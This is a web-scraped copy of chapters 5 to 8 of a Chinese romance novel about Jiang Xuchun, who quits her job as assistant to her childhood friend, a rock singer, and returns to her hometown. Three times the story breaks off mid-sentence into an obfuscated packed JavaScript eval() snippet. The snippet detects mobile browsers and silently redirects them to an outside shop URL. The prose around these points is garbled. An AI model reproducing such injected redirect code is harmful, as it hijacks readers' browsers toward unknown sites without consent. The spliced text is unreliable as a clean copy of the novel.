看他红通通的眼睛,红通通的脸颊和嘴唇,一半是哭出来的,一半是被揍出来的。 怎么这么狼狈还这么好看呢,真漂亮,像个洋娃娃。 如果知道后面的故事,她一定不会放任自己说出这句话:“你好漂亮呀,你是白天鹅吗?” 故事里除了白天鹅,剩下的就是:“那你是丑小鸭吗?” 丑小鸭不一定变成白天鹅,但白天鹅永远是白天鹅。 五岁就知道保持形象的小男孩,长大后更是不得了。 他走路的背脊永远笔挺,步伐深得他妈的真传,天生是个衣架子,不搞音乐也能继承模特衣钵。 一个暑假过去,周围同学都晒成了黑炭,就他从小兢兢业业防晒白得反光,夏天出门还不忘架副墨镜。 男生们一边腹诽他真装,一边不得不承认,同样的墨镜戴在他们脸上,只会显得滑稽至极。 日行一善帮人捡个篮球,不老老实实还人手上,而是离老远投了个三分;教室电脑出问题,学校师傅都没修好,他上去点了几下,一切恢复如初;校晚会有表演人员突然病倒,未经排练的他临时上场顶替,完美演出赢得满堂喝彩。 还有什么军训射击随便一射就是十环,横跨大半个教室扔垃圾永远精准命中垃圾桶……一系列让他顺手一装的事,不一而足。 没能考上顶尖大学,大概是他的人生中比较不bking的事了。 不过段则也没就此气馁,他一直计划着赚到足够的钱以后,花一两年时间出国镀个金。 可惜对于这个计划,他要么有时间没钱,要么有钱没时间,倒是必备的英语水平,在这些年练了个七七八八。 前年,他在某次偶遇外国歌迷时,用一口流利又纯正的英语与对方对话,被同行歌迷拍下发上网,引起了圈外一波小小的关注。 歌迷们都默契没说的是,与他对话的是个俄罗斯人,对方的母语并不是英语,因而不管是用词还是语速,都非常友好。 江绪春常常觉得,他就是纯粹走了狗屎运。 可如果一个人一直走运的话,这件事确实也蛮值得装一下。 只是五岁没能解答的问题,没想到二十七岁时仍是个迷—— 为什么在她面前,段则就一点儿都不装了? 5. 第 5 章 门铃响起的时候,江绪春在看考公指导视频。 当年填报志愿时,这个专业的风评其实还不赖。亲戚们纷纷推荐她报这个,说尤其适合女孩子,以后无论是考公还是考编,都是极好的。 江绪春从小语文成绩不错,在众人怂恿下,稀里糊涂就上了船。 但她心里清楚,自己其实是个极其矛盾的人。 表面顺从听话,大学四年勤勤恳恳,眼看就要走上父母安排的安稳道路了,却又在毕业之际,毫不犹豫地答应和段则一起冒险。 有时候她想,如果不是段则,就算是别人向她抛出了橄榄枝,年轻气盛的她,可能也会果断接下。 一开始,江绪春甚至不敢和父母说这件事,只说有在准备教招。 只是谎言终有拆穿之日,磕磕绊绊瞒了一年多,趁着陆鲨初有起色,去了个小有名气的音乐节凑数,她干脆一举向父母坦白了。 父母在电话那头沉默良久,最后他们说,他们要和段则聊一聊,就把电话挂了。 两人到底认识十几年,和对方家长也都相熟,家长常常联系不到一个,就会给另一个打电话。 也不知道段则和他们聊了什么,总之后来,父母对这事说不上赞扬,但起码不会反对了。 再到陆鲨声名鹊起,逢年过节江绪春大把大把给父母转钱,再提起她的职业,老两口那可是赞不绝口,好像当明星的是她似的。 只是,不听老人言,吃亏可能不在眼前,而是以后。 他们当初的眼光很准,也许她就是更适合朝九晚五的工作,更适合普通人的稳定生活。 如果南墙是一定要撞的,现在是时候回头了。 江绪春按下暂停键,起身上前打开可视门铃,外面站着的是段则。 段则家的智能锁录入了她的指纹,而她家的没有段则的。 这么大的差别,好像谁都没对此提出过异议,默契地一直保持这个状态。 不过门一开,段则便自在得好像回家一样。他娴熟地从鞋柜上翻出自己的拖鞋换上,先她一步走进客厅,看了眼茶几上放着的iPad: “你打算考公?” 江绪春“嗯”了一声。 段则回头审视她一眼:“我是不是打扰你了?” “是。” “哦,那我也不走。” 都是奔三的人了,能不能沉稳点儿。 江绪春没搭理他,在刚刚的位置落座:“有事吗?” 段则晃了下手机:“我给‘眠艇’写的歌出来了,要不要听一下。” 眠艇是某位早年间在网络走红的歌手,如今已大大小小开过不少场livehouse。 当初陆鲨还在初期时,段则为了赚钱,也试过给人写歌,眠艇是第一个接受他的投稿的人。 那首歌后来在网上小火了一把,算是两边的双赢。此后,段则又陆陆续续给不少人写过歌,出过好几首爆曲,为了感谢眠艇的知遇之恩,每首歌都是眠艇拒绝后,他才考虑投给其他人。 段则写给眠艇的那首歌刚走红时,陆鲨还处于一个开个迷你livehouse都要求爷爷告奶奶的程度。 这波热度没有给陆鲨带来任何助力,因为他署的是化名“容舟”。江绪春有问过他为什么不用真名,或者暗示一下两者间的关系,他拒绝了,说是想做一个实验。 神神叨叨的,江绪春就没追问下去。 眠艇并不是什么创作型歌手,他这张新专,有一半都是段则化名写的。 难得在巡演这么忙碌的期间,还能给人家写这么多歌,江绪春有时候真的很佩服他的高精力。 她顺手接过段则的手机,连上家里的蓝牙音响,点开了第一首。 和段则略带磁性的声音不同,眠艇年逾三十,声音仍旧像少年一般清透。 因而,段则给他写的歌也都是些很轻盈的风格。明明已近冬日,江绪春却像是回到了夏天的第一口棒冰,听见檐下被吹动的风铃,细雨后的草坪波光粼粼。 江绪春窝在沙发上,认真听完了段则写的三首歌。 最后一首放完,她按下暂停键:“好听。” 段则接过手机:“没了?” “你知道的,我不太会说乐评。”江绪春揪着身侧的抱枕,“和陆鲨的风格不一样,但都很有你自己的味道,眠艇演绎得也很好。” 段则认认真真听到最后,“嗯”了一声,显然有点失望。 江绪春回忆了一下,他上次让她听自己给眠艇写的歌,还是在前年。 新专尚未释出,她是第一批听到音源的人,听完后她郑重其事鼓了十秒钟掌,夸他是个天才,用拙劣的小学生文笔,洋洋洒洒描绘了对每首歌的感受,说得段则乐到不行。 只是以他们现在的境况,她当然再做不出那些反应。 段则沉默少顷,伸手双击iPad屏幕,视频开始播放:“你继续看吧,我不打扰你了。” 那你呢,你什么时候离开? 江绪春很想这么问他,但最终只是应了句“哦”,当真专心致志看了起来。 当然,所谓专心只是表面的。 她眼睛正对着屏幕,余光却努力捕捉身侧那个身影。 他到底要坐多久,真的只是来让她听歌的吗,虽然平时也没少在她家闲坐,但现在情况特殊,她得随时做好准备接招。 招没接到,腿上先接到一个毛茸茸的脑袋。 段则身子一歪,直接躺她腿上了。 江绪春时常怀疑,他是不是把自己当成一只人肉枕头了。 在镜头拍不到的地方,他娴熟地枕她肩上,枕她腿上,枕她肚子上,枕她背上,依据她不同的状态,灵活调整自己的脑袋安置点。 更要命的是,江绪春也习惯了自己身上不时便会压来一份重量。 她微微垂眼,看向腿上的小卷毛,忍不住抬手轻轻拨弄他的短发。 她让他枕,他也得让她摸,礼尚往来。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17202900|197267||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 虽然段则自己很不满意这一头自来卷,但江绪春还是挺喜欢的。摸起来不像直发那么顺滑,但很蓬松,五指插入发中,感受着它自四面八方缠绕而来,纠缠不休。 不管是卷毛小羊羔还是卷毛小猫,都是非常可爱的。 可是段则天然长了一张冷脸,于是这头卷发,更像是他试图软化自己的一种伪装。 实践证明,还是挺成功的。 她好像一不小心手重了些,段则倒吸一口凉气,反手按住她乱动的手。 江绪春也没惯着他,抓着他的手腕扔一边去,继续胡乱拨弄着他的头发。 “你学习能专心点么?”段则问。 “我手里得摸点什么才能专心。” “哪有这样的。” “你少管。” “你摸的是我。” “那你走,我就不摸你了。” 段则一伸胳膊,将iPad倒扣:“别学了。” “你不是说好不打扰我的吗?” “反悔了。” 说完,段则撑着沙发,从她腿上坐起,抬手理了理被她弄乱的头毛。可惜本来就是乱的,再怎么拨弄也还是很乱。 于是顶着这么一头乱发的他,脸上的无奈和些许不满,都变得只剩可爱。 “你到底什么时候走?”江绪春问他。 “我待会儿都不行吗。” “你还有什么事吗?” 段则皱了下眉:“你之前不是这样的。” “我之前哪样?” “不好说……”段则歪着脑袋打量了她一会儿,“小鸭,我哪里得罪你了吗?” 江绪春倒真希望他做错什么事,狠狠得罪她一下。 要命的就是他什么都没做错,出问题的是她。 “你不让我摸你头发。”江绪春开始鬼扯。 “借口。” “你不让我辞职。” 段则想了一会儿,重新躺回她腿上,主动抓了她的一只手放上来: “那你还是继续摸我头发吧。” 可这会儿江绪春却有些心不在焉,手里有一下没一下拨弄着,轻声问:“你为什么不同意我辞职呢?” “你自己连一个合适的理由和退路都没想好,还问我?” “这只是我个人的事,你作为老板,阻止员工辞职也得有理由吧?” “所以你觉得我只是老板?” “至少在这件事上,嗯。” “那可能是因为不管在哪件事上,我都优先把你当朋友而不是员工吧。” 江绪春的心跳顿了一拍。 “我找到理由了。”她说。 “什么?” “因为你公私不分。” 她能感觉到腿上的人瞬间静了下来。 蓬松的头发遮住了他的眉眼,仅余耳钉在碎发间闪得要命,随着他稍重一声呼吸,带动着晃了下她的眼。 “我同意你的辞职申请。”他说。 6. 第 6 章 明明之前还在想要怎么和他周旋过这三个月。 结果一切过分顺利,反倒让江绪春无所适从。 她觉得自己应该开心的,但却没有,只剩铺天盖地的茫然,和隐隐的不安。 段则:“不过。” 奇怪,这句谈判中最让人忐忑的转折词,却教江绪春的心稍稍放下了一点。 “怎么了?”她应道。 “三个月的离职期限不变。这三个月,我不把你当员工,你也别把我当老板,我们就按朋友相处。这期间你想干什么干什么,备考、旅游……都行。反正你转行也需要时间准备,工资照发,给你两倍,不,三倍吧,毕竟这三个月没活动,也没分成了。” 带薪全职备考,没有比这更好的待遇了。 还好他签了公司,不然若是他自己当老板,说不好因着人情亏掉多少钱。 半天没等到回应,段则转了个身,换作仰躺在她腿上,昂着个脑袋看她:“还不满意?那把我这三个月的版税也归你行不行?” 江绪春:“我没有不满意,我只是在想一个问题。” “什么?” “你为什么一定要这三个月的时间呢?” 直接让她走人多好,反正是她主动提的,他一分也不用多出。 至于工作交接问题,几天就能搞定。 段则垂下眼,看着好像在她腿上睡着了,连说话的声音也变得又轻又黏糊,像是梦话。 “以后不管你考上公务员,还是别的工作,我们可能一年都见不上几面了。二十多年的朋友了,想和你多待上三个月,这点情分都不给?太冷血了吧小鸭。” 哦,是的,他的工作天然是安稳的另一个极端。 以后别说见面次数锐减,随着两人的生活轨迹渐远,或许感情会和共同话题同步减少。小时候许愿要做一辈子的朋友,也许这个坎迈不过去,就要中道崩殂了。 江绪春摸摸他的脸,语气里没了之前的戒备和对立:“你早说清楚嘛。” “说清楚?没骂你就不错了。”她一软,段则倒突然来了火气,“我昨晚累得要死,你上来一声招呼不打就说要辞职,我那时候脑子都是木的你明白吗?一晚没睡好,一觉醒来你又跟背后灵似的出现了,不用开口就知道你要说什么鬼话,让我早饭都没吃好。 “反正我看明白了,这事儿不解决,你跟我就没别的话好说,朋友都做不成,那我还有什么办法?要我说,还是怪陆鲨不够正规,要是那种大公司,OA流程都得走好几天。” 说到最后,段则连她的大腿也不想枕了,撑着沙发起身,脸臭得要命。 一转头,江绪春居然搁那笑了,好像骂的不是她。 段则抹了把乱七八糟的头发,在心底暗骂了一句。 “我错了。”江绪春说。 就是这语气毫无悔过之意。 “对,甭想我原谅你。”段则说,“反正下个助理,我一定得把规矩给他立清楚,一切按规程办事。” “嗯嗯。”江绪春点头如捣蒜。 “你是轻松了。”段则狠狠揪了她的脸,“我回头还得想好怎么和那三个人还有公司说。你公司申请迟会儿交吧,我先和公司打声招呼。” 江绪春吃痛地叫了一声,末了继续乖乖点头。 之前还拧着一根筋的犟种,这会儿突然无比顺从,段则跟和棉花打拳击赛似的,被迫消了火。 “所以你今天非要学习?”他问。 “不学了。”江绪春说,“你想干什么?” “不知道,有点无聊,要不上街逛逛?” “好啊。” “行。”段则帮她把iPad重新立好,“那你再看会儿,我去夹头发。” 江绪春看向他往卫生间走的背影:“喂,我真的觉得你卷发也挺好看的。” 段则头也没回:“我信不过你的品味。” 也不知段则是不是懒,直接在她家也放了个直板夹,哪怕她根本用不上。 江绪春哪还看得下视频,起身走到卫生间,好奇地倚在门口,看他一缕缕拉直自己的头发。 段则倒也习惯了,毫无反应,继续自顾自动作着。 他动作很麻利,一头卷毛很快变得光泽顺滑,江绪春居然还有那么点儿遗憾。 头发一拉直,长度自然也变长了,约莫是能在发尾扎个小揪的程度。他烦躁地拨弄了会儿发型,怎么都不满意,最后向她一伸手:“你那个之前只戴过一次的贝雷帽呢?” 江绪春在衣柜里翻找了一会儿,总算在角落找到那顶贝雷帽。 这是顶有檐的贝雷帽,帽子一戴,完美遮住了额前碎发,视觉重心下移,颊侧的发被拨到耳后,袒出一张干净明晰的脸。 “我收拾好了。”段则自觉地让开一步,“你要化妆吗?” “不用了。” 如果化了妆还没他素着脸好看,那就太让人恼火了。 段则:“那衣服呢?” 她穿的还是上午陪他接小狗的一身,非常朴素的卫衣仔裤。 江绪春低头拎了拎身上的卫衣:“不行吗?” 反正怎么穿都潮不过他啦。 段则别开眼,欲言又止,末了道:“算了,习惯了。” 在模特母亲的耳濡目染之下,段则从小就非常潮,再到后来开始搞摇滚,那更是潮到没边。 这种人江绪春在路上看到都会绕路,偏偏他是她最好的朋友,绕也绕不开。 每次歌迷来看他们演出时,不少人都会自发践行一个dresscode,说白了就是和段则搭成同一风格。 江绪春私下有悄悄研究尝试过,买了一箩筐七零八碎的饰品,还有一堆上衣不像上衣,裤子不像裤子,裙子也裁剪得莫名其妙的衣服。刚刚借出的贝雷帽,就是那次疯狂购物的成果之一。 一番精心搭配后,她站在镜前对着自己看了三秒,最后默默全换掉了。 不过偶尔她也会想,好像还是穿得潮一点,和段则站在一起会比较搭。 可是他们只是朋友,又不是情侣,不搭又怎么样呢。 江绪春就这样非常不搭地和他出了门。 泓州是座北方二线城市,早些年发展还行,近年愈发迟缓,天然带着北方城市的厚重感。 段则选择在这里发展,主要是四年大学上出了感情,也在此结识了不少玩音乐的好友,而且,他很喜欢早年间的北方摇滚。 话虽如此,段则和江绪春都是南方人,他写的歌里,满是南北方的碰撞和融合,这也算是陆鲨的一种特色。 玩摇滚,泓州是个好地儿,但倘若想玩点别的,那就不尽人意了。 什么密室、桌游,段则玩了几次就失去了兴趣,他没什么酒瘾,刚结束巡演暂时不想听人唱歌,至于逛街,这里的衣服土得好像来自上个世纪,拿去搭复古风又不够格—— 这当然只是段则的一面之词,江绪春还是很喜欢在本地买衣服的。 和以往每次一样,两人在街上兜了一圈,没找着可玩的地儿,便就近寻了个停车场,下车开始压马路。 泓州刚入秋,白天秋老虎尚且凶猛,这会儿日薄西山,风一吹,终于有几分凉爽。 这是泓州最好的季节,树仍是绿的,空气还算湿润,一切都很宜人。 段则一路没看导航,哪儿灯绿就往哪拐,眼下两人也不知道来到了哪里。 “逛会儿?”段则说,“看哪家餐厅顺眼,就去哪家吃晚饭。” “好。” 在日常方面,段则追求规整有序。但在其他方面,他又很喜欢自由和随机。 他的好多创作灵感,也是在这种时刻冒出来的。 迎面走来一老大爷,手里牵着一只大白鹅,鹅拍着一双脚蹼在前面“啪啪”走,大爷悠哉游哉地跟在后面。 “哟,这鹅真漂亮。”擦肩而过时,段则 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17202901|197267||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 搭讪道。 大爷笑着看向他:“可不嘛!晚上上我家吃饭不,分你只鹅腿。” 段则回头看了眼江绪春,吓得她直摇头—— 她知道段则真做得出这种事。 “不凑巧,刚吃过。”段则再度看向大爷,“您住哪儿啊,下次我带两瓶酒找您搓一顿。” “就那儿。” 大爷随手一指,段则也就那么随意一看,两人打个哈哈,继续各奔东西。 “真可惜。”大爷走远后,段则说,“我还以为那是他养的宠物呢。” “你刚刚不会真打算上人家吃饭吧?”江绪春仍心有余悸。 “怎么,怕别人下毒啊?放心,我替你尝第一口。” “……” 江绪春再度感慨,要不是打小相识,她绝不会和段则这种人做朋友的。 走着走着,路边出现一家还挺有格调的葡餐馆。江绪春之前有在社媒上刷过,收藏后一直没空去吃,今儿倒是误打误撞了。 没待她开口,段则一扬下巴:“走?” “好。” 江绪春对葡餐最大的了解,便是英国人在澳门改良的葡挞。而潮人如段则,知识领域也暂时没涉猎到这处。 老板是地道葡萄牙人,菜单上连个图都没有,中文还是机翻。两人头抵头钻研半天,仍旧一头雾水。 最后段则当机立断,一合菜单:“这样吧,1到156,你随机报几个数。” 每道菜前面,都有一个序号,一共156道菜。 江绪春:“哪有人这么点餐的。” “那你说说‘马介休’是什么?” 江绪春沉默几秒,好像也是,反正看菜单也看不懂。 虽然标了156,不过,95向后都是甜品和酒水饮料,她扒着手指,报了四个95以内的数字。 她说一个,段则在点餐单上写一个,最后当真这么递过去了。 江绪春心下忐忑,想打开菜单看看自己点了些什么,偏偏段则动作更快一步,一把抽走了菜单。 “上来不就知道了,反正也改不了了。” “万一很难吃怎么办……” “难吃也得吃。” 等高考成绩时的心情,无异于此刻。 偏偏这家店上菜很慢,半小时才端上第一道。 是盘海鲜烩饭,也算是经典葡餐了。 两人各自挖了一勺,鲜香油润,粒粒分明,还有些陌生但不难吃的香料味。 开局不错,江绪春松了一口气。 只是等到第二道菜上来时,她的神情又绷紧了些许—— 那是道焗鸭饭。 两个人吃两道主食,其实也还好吧…… 而且配菜也不一样呢…… 江绪春这么在心底自我安慰着,一抬眼,段则刚放下勺子,冲她点点头:“味道不错。” 目前为止都还好,直到第三道咖喱鸡饭上桌。 看着桌上满当当三大盘米饭,江绪春已然无语凝噎。 葡萄牙人还真是爱吃米饭啊。 她一点点抬眼看向段则,越想越荒唐,没忍住笑了出来。 略显晃动的视野里,段则也在陪着她笑。天生冷脸的人,却有双笑起来月牙弯弯的眼睛,给人一种充满温柔和包容的错觉,和台上展现出的冷漠张狂截然不同。 “快吃吧。”段则拿起突然有些沉重的勺子,“米饭狂人。” “下次还这么点菜吗?” “点,就这么点,上什么吃什么。” 江绪春垂下眼,用笑到发抖的手尝试去拿勺子。 她的脑中忽而晃过一个念头,三个月后,她就要回到循规蹈矩的人生轨道里了。 再没有人会陪她来到一个随机的地方,进到一家随机的店,点一桌随机的菜。 可是,不是她首先选择的安稳吗? 为什么现在,又突然笑不出来了? 7. 第 7 章 江绪春是那种决定要干一件事,就会努力去干好的人。 打算考公后,她便给自己制定了一套学习计划,又买了一堆书和纸笔—— 多少年没静下心来学习了,无纸化流行的当下,她还是更习惯笔尖划过书页的触感。 这些天,段则几乎每天都会来烦她一趟。 当然,每次没过多久,不是灰溜溜被赶走,就是自己觉着无聊,主动离开了。 他在身边的时候,确实很影响学习效率。 但每当他离开,忽地变得静悄悄的屋内,又让她平生落寞。 江绪春有点学不下去了,心不在焉地划动着手机,母亲的视频通话忽而弹出。 视频甫一接通,母亲刘蓉的脸看着颇为惊讶:“诶呀,小春,妈妈不小心点错了,你怎么接了,没打扰你工作吧?” 看着对面张皇的样子,江绪春有些鼻酸。 知道她工作忙,时间还不固定,每次母亲都是和她约好时间,或是她主动,才能打上一通电话。 “没有,妈,巡演刚结束,我最近放假。”江绪春说。 刘蓉的神情霎时放松下来:“那就好,巡演是不是很辛苦,好好休息休息。我看泓州最近降温了,你记得多穿点。” “嗯,你也是,保重好自己,别生病。” 彼此寒暄了一阵,画外音突然传来父亲的声音,似乎是让母亲去做什么,母亲循声转头,画面也由此转动。 江绪春在这头耐心等待着,突然觉得有什么不对。 “那你好好休息,妈先去忙了。” 刘蓉说着就要挂断电话,江绪春忙叫住她:“等下,妈。” “怎么了?” “你把镜头往右转一下……不不不,应该是你的左边。” 转动的画面停滞了一刻,刘蓉忽而意识到什么,将镜头朝脸凑近了些,背景画面也随之被遮掩。 但已经迟了,江绪春严肃道:“床旁的轮椅是怎么回事?” 在江绪春的不断追问下,刘蓉才终于承认实情。 说是她爹江志远前段时间,和一帮朋友约着去山里的水库钓鱼,刚下过雨的野路湿滑,她爹脚下一不留神,整个人摔出了十多米,断了两根骨头。 “都是两个多月前的事了,你爸现在已经能拄拐走路了,这轮椅我正打算过几天卖了呢。” 刘蓉试图用笑容缓解尴尬,可惜江绪春一点笑不出来。 “事情都发生这么久了,你怎么从来不告诉我?” “这不是怕你担心嘛,而且确实也不是什么大事,你爸都快好了。” 父母怕她担心,所以向她瞒着父亲受伤的事。 而她也怕他们担心,无论是平日有个伤病,还是这次计划辞职,都没有告诉他们。 彼此关心着对方,却又以爱之名隐瞒着对方。 电话挂断后,江绪春越想鼻子越酸。 她躺倒在沙发上一个人掉眼泪,哭一半,她当机立断抹掉眼泪,打开手机买了张明天回家的机票。 因为忙,连中秋都没能团聚,上次见面还是过年的时候了。 江绪春连夜收拾好行李,翌日推着行李箱出门时,望着不远处紧闭的大门,觉得还是得和段则说一声。 她走上前,按响了门铃。 虽然门锁里保存了她的指纹,但当他在家时,江绪春还是会礼貌地先按一下门铃。 约莫过了一分多钟,段则才姗姗来迟将门打开。 他看起来显然刚起床,顶着一头乱蓬蓬的小卷毛,神情里带着没睡醒的木讷和呆滞,茫然地看着她。 “我打算回老家一趟。”江绪春开门见山。 “什么时候?” “现在。” “哦。”段则脑子还是懵的,但手已经机械地抓起玄关柜上的车钥匙,“那我送你去机场。” “不用了,我坐地铁去就好。” 段则握着车钥匙的手渐渐垂下,神志好像也随之一点点恢复清明。 他哭笑不得:“你怎么不到机场了再通知我?” “那我下次落地了通知你。” 段则冷着一张脸,好像不想和她进行一番俏皮话接龙。他的目光渐次下滑,看见她只带了一个小小的登机箱,神情稍稍缓和了些。 “你打算什么时候回来?”他问。 “没想好。” “行,落地了记得通知我。” 江绪春推着行李箱前去等电梯,可惜电梯就在走廊正中央,余光里,她看见段则仍站在门口。 被注视久了,她忍不住回望他,段则也没躲,彼此就隔着这么几米的距离,长久地凝望着。 直到“叮”一声,电梯门缓缓打开。 眼前的画面变作了电梯的冷色金属墙壁,但段则的那双眼仍牢牢刻在她的视网膜上。 值机、候机,近两小时的飞行,脑海中的画面始终定格在她和段则在走廊对望的那刻。 直到下了飞机,在接机处看到微笑着的母亲,一切才开始刷新,不断向前。 母女俩来了个深深的拥抱,登机箱就那么点儿大,刘蓉说什么都得帮她推。 “爸呢?”寒暄过后,江绪春关心地问道。 “在车上等着呢,一开始还说要拄拐来接你,被我使劲拦住了。” “拦得好。”江绪春向她竖了个拇指。 下到地下停车场,没走几步,远远便能看见江志远将手伸出车窗,挥手向她们打招呼。 江绪春小跑上前,迫不及待打开后车门,目光关切地上下扫视着。 江志远一条 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17202902|197267||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 腿打着石膏,但整个人精气神不错,甚至因为长期在家休养,还圆润了一圈,皱纹都撑淡几根。 江绪春这才放下心来:“爸,下次你和妈不管有什么事,一定要告诉我。” “欸哟,我们家闺女这双火眼金睛,谁能瞒得住你哦。” SUV在回家路上疾驰着,兴榕市是一座南方小城,在滚滚前行的时代洪流里显然落了伍,周围的景致十年如一日,眼前看到的,和当年上大学每次回家看到的景象无异。 就连她的卧室,也和毕业预备搬出去时没什么区别。无非是窗台上多了几盆母亲养的多肉,角落堆了几箱父亲留着送人的酒,墙上已经泛黄的明星海报,都还好端端贴着。 前年托陆鲨的福,江绪春有幸在后台见过那位明星一眼。不过她一早不追星了,那一刻两人擦肩而过时,她长久地注视着他,眼里却满是自己逝去的青葱岁月。 将行李放好后,江绪春才想起自己好像忘了什么事—— 段则嘱托她落地就通知他,结果现在她都到家了。 摸出手机一看,段则半小时前就问了她一句“落地了吗”。 那会儿她在车上和父母聊得正欢,根本没想着看手机。 [江绪春:我到家了。] 顶上即刻现出一行“对方正在输入……”。 只是段则似乎打了删,删了又打,过了好半天,才回了五个字给她。 [段则:好,玩得开心。] 江绪春的拇指悬在输入框上,想了半天还是没再回复,将手机丢回口袋。 得知她要回来,母亲一早备了一厨房的菜,这会儿稍微烹炒一番就能上桌。 江绪春被父亲拉着在沙发上聊闲天,母亲忽而从厨房探出头来:“小春,你帮妈去超市买瓶酱油,还有瓶香油,妈这边走不开。” “哦,好。”江绪春随手拿起茶几下的布袋就往外走。 “再买点你喜欢吃的零食饮料,回来妈报销。”刘蓉冲着她的背影喊。 一切好像都没变,不管是7岁、17岁,还是现在已经27岁了,在母亲眼里,她永远是那个爱吃零食的小姑娘。 家附近就有一家大型连锁超市,这里也同别处一样停滞了时间,连商品的陈设都没怎么变。 江绪春轻车熟路地买好家里常用的酱油和香油,预备离开时,想到母亲的话,决定再多逛一会儿。 不过,她不打算给自己买,而是想给父母买点。 江绪春循着记忆,一路拐进放坚果的货架,没两步,下意识停住了脚步。 货架另一头,站着一个身形高挑的女人,此刻正拿着一罐坚果,专注地看着上面的配料表。 隔着一整排货架,江绪春也一眼认出了她—— 那是段则的母亲,段咏竹。 8. 第 8 章 虽然段咏竹已阔别模特行业多年,但气质这种东西,是可以伴随人一生的。 年逾半百,她的身材仍保持得很好,薄薄一片背挺得笔直。在这个流行一条裤管能塞下整个人的年代,她仍穿着复古的修身牛仔长裤,上搭羊绒薄衫,看起来玲珑有致。 一米七八的女人,别说在南方,在北方也不算多见。她比货架还要高些,微微低着头,盘发下袒着修长雪白的后颈。 段则和她几乎是一个模子里刻出来的,侧脸的走势颇为相似,唯有一双深邃的眼眶,大概是来自他的父亲。只是江绪春从未见过他,自然也无从考证。 似是察觉到她的注视,段咏竹放低坚果回眸,目光在对上她后迟疑两秒,展露出一个得体的笑。 “段阿姨。”作为小辈,江绪春忙主动开口。 “小春,好久不见,怎么突然回来了?” 彼此相对而行,一道在货架中段站定。 “回来看看父母。”江绪春道。 “这样。”段咏竹的目光下意识向她背后飘去,“段则没有和你一起吗?” “他刚结束巡演,在休息。” “也是,这么多场巡演,该累坏了。” 段咏竹目光柔和,但之中仍有一丝难掩的失望。 彼此又简单寒暄了几句,惦念着母亲锅里还煮着菜,江绪春匆匆告了别。 回家路上,她忍不住给段则发了条消息。 [江绪春:我见到阿姨了。] 他似乎不算忙,回得很快。 [段则:她看起来怎么样?] [江绪春:挺好的。] [江绪春:话说,你不打算回来看望她吗?] [段则:她让你说的?] [江绪春:没有。] 那头沉默了几分钟。 [段则:我知道了。] 两人自幼相识,和彼此的父母自然也很熟稔。 段咏竹待她很好,不时会给她捎小礼物,还总是夸她可爱,尤其是她小时候,每次见面都要抱抱她摸摸她。 相较于她,段则和段咏竹的关系反而更客套些。 彼此说话客客气气,连句玩笑也不开,更不会像她一样总和母亲撒娇。 也许母女和母子的相处方式就是不太一样的,江绪春想。 回到家,果然一厨房的菜就等着她的调料。 刘蓉嘴上嗔怪她几句,见她特地给老两口买了点零食,眼都笑弯了:“诶哟,不是让你给自己买嘛,爸爸妈妈自个儿会买。” “我也自己会买呀。”江绪春抱了她一下,“辛苦啦妈,我好饿哦。” “知道了知道了,马上开饭!” 小时候习以为常的家常菜,在外漂泊久了后,才觉得每一口都是那么珍贵。 碗里的菜被爸妈堆成了小山,老两口跟较劲似的,你夹一块排骨过去,他就得补上一只鸡腿。 江绪春狼吞虎咽着,只觉得好幸福。 不过这种幸福,只持续了回家的前两天。 第三天,饭菜还是很好吃,但桌上的话题就没那么和谐了。 小城市很在乎年龄,什么年纪就得做什么事,上学、工作、结婚、生子,但凡脱节一环,那都是天大的问题。 江绪春就卡在这个结婚生子的末班车,再不抓紧就得挨人数落了,在外人数落前,父母当然得预先演练一番。 一番老生常谈的话后,江绪春拿着筷子的手一顿,抬起头来:“那就见一面吧。” “真的?”刘蓉一番劝解的话正卡在嘴边,没来得及出口,被她这大转变的态度给生生都噎了回去。 “嗯,总拒绝人家也不好嘛。”江绪春漫不经心应道。 为什么要拒绝呢? 她对结婚生子这事儿没那么排斥,从前拒绝,那是因为她工作忙,父母给她介绍的人多是老家的,她不想那么早回去。 而现在,她都打算离职回老家寻一份安稳了,找一个合适的对象,自然也是安稳的一部分。 母亲做事向来风风火火,在这事儿上也不例外。 第二天下午,她已经和那人在咖啡厅面对面而坐了。 男人相貌平平,勉强算得上一句耐看,工作倒还不赖,一家三代都是电网里的,福利待遇好得很。 对于即将成为无业游民的江绪春来说,这绝对是她高攀人家了。 “我听阿姨说,你是明星经纪人?”男人介绍完自己了不起的电网世家后,笑问道。 她都快离职了,母亲还没搞清楚她的工作。 江绪春无奈地解释道:“不是经纪人,是助理,也不是你想的那种电视明星,是一个摇滚乐队。” “摇滚我喜欢啊。‘原谅我这一生不羁放纵爱自由’……” 男人说着说着就唱起来了,留江绪春坐在对面目瞪口呆。 唱一半,男人尴尬地抓抓头发:“Beyond你听过的吧?” 